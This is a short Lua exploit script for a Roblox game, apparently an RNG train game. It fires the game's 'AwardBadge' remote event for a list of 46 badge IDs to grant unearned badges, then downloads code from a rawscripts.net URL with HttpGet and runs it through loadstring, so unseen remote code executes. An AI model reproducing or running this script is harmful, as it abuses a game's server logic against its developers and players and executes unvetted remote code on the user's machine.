local badgeIds = { 2003172316643848, 2317768768331631, 4275504683921435, 4263664745862399, 1651534910579312, 4312243575221293, 2935757194388359, 2853598990908477, 1328477851028284, 198091619381695, 2788489974065325, 2567667939889995, 108971554408107, 2092896843065061, 857417073075852, 1179130393926055, 3541063343541158, 960339674050198, 2957528468099277, 1827838434900763, 1987833584645541, 4463060747885339, 4436466580117032, 1711571140692305, 9320728484562, 1446826585496849, 3469384021576091, 3809345192253363, 1930830638719783, 3500555878303840, 2209373925811130, 4214767275969394, 19518759409302, 2620898616162890, 3042853759415169, 777669743397619, 1096781732633104, 3731999640492011, 1806847572607816, 1165622620140749, 419156464095845, 2173009669717125, 3734013404947655, 2335804089516847, 2305420217487233, 1197259770966847 } for _, badgeId in ipairs(badgeIds) do game:GetService("ReplicatedStorage").AwardBadge:FireServer(badgeId) end loadstring(game:HttpGet("https://rawscripts.net/raw/Train.-RNG-TANK-REUPLOAD-23242"))()